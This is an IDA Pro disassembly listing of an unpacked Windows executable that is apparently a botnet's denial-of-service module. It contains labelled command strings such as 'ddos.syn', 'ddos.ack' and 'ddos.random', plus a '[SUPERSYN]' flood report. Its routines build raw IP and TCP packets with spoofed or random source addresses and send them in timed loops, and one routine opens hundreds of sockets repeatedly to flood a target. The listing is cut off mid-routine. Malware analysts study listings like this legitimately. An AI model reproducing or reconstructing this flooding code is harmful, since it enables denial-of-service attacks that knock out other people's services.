;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CBD7F366FC7814947495474AC962043A

; File Name   :	u:\work\cbd7f366fc7814947495474ac962043a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000D0000 ( 851968.)
; Section size in file		: 000D0000 ( 851968.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h

loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------

loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43AD98
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43AD98
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43AD94
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43AD98
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2610B12h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 261080Eh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 261080Eh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------

loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------

loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43AE30
		pop	esi

loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43ACF8
		mov	eax, ebx

loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax

loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]

loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h

loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h

loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h

loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax

loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_436AB8, 45h
		call	dword_43AD98
		cmp	[ebp+var_2C], edi
		mov	word_436ABA, ax
		mov	word_436ABC, bx
		mov	word_436ABE, di
		mov	byte_436AC0, 80h
		mov	byte_436AC1, bl
		mov	word_436AC2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_436AC4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------

loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	dword_436AC4, eax

loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_436AC8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_436ACE, di
		mov	word_436AD2, bx
		inc	edx
		mov	word_436AD0, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_436AD4
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_436AB8
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------

loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h

loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		nop
		call	near ptr 2610F41h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx

loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax

loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------

loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43AD98
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
